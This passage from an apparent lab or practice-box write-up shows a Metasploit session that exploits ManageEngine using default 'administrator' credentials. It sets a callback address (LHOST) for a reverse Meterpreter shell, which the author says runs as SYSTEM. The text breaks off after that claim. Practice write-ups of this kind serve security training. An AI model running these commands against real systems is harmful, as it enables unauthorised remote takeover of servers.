There are loads of vulnerabilities with this software.

I was lazy, so I used `msfconsole` to exploit this easily.

```
msf6 exploit(multi/http/manageengine_auth_upload) > set USERNAME administrator
USERNAME => administrator
msf6 exploit(multi/http/manageengine_auth_upload) > set PASSWORD administrator
PASSWORD => administrator
msf6 exploit(multi/http/manageengine_auth_upload) > set LHOST tun0
LHOST => 192.168.45.191
msf6 exploit(multi/http/manageengine_auth_upload) > set RHOSTS 192.168.201.43
RHOSTS => 192.168.201.43
msf6 exploit(multi/http/manageengine_auth_upload) > exploit
```

This would give us a Meterpreter shell as the SYSTEM user:
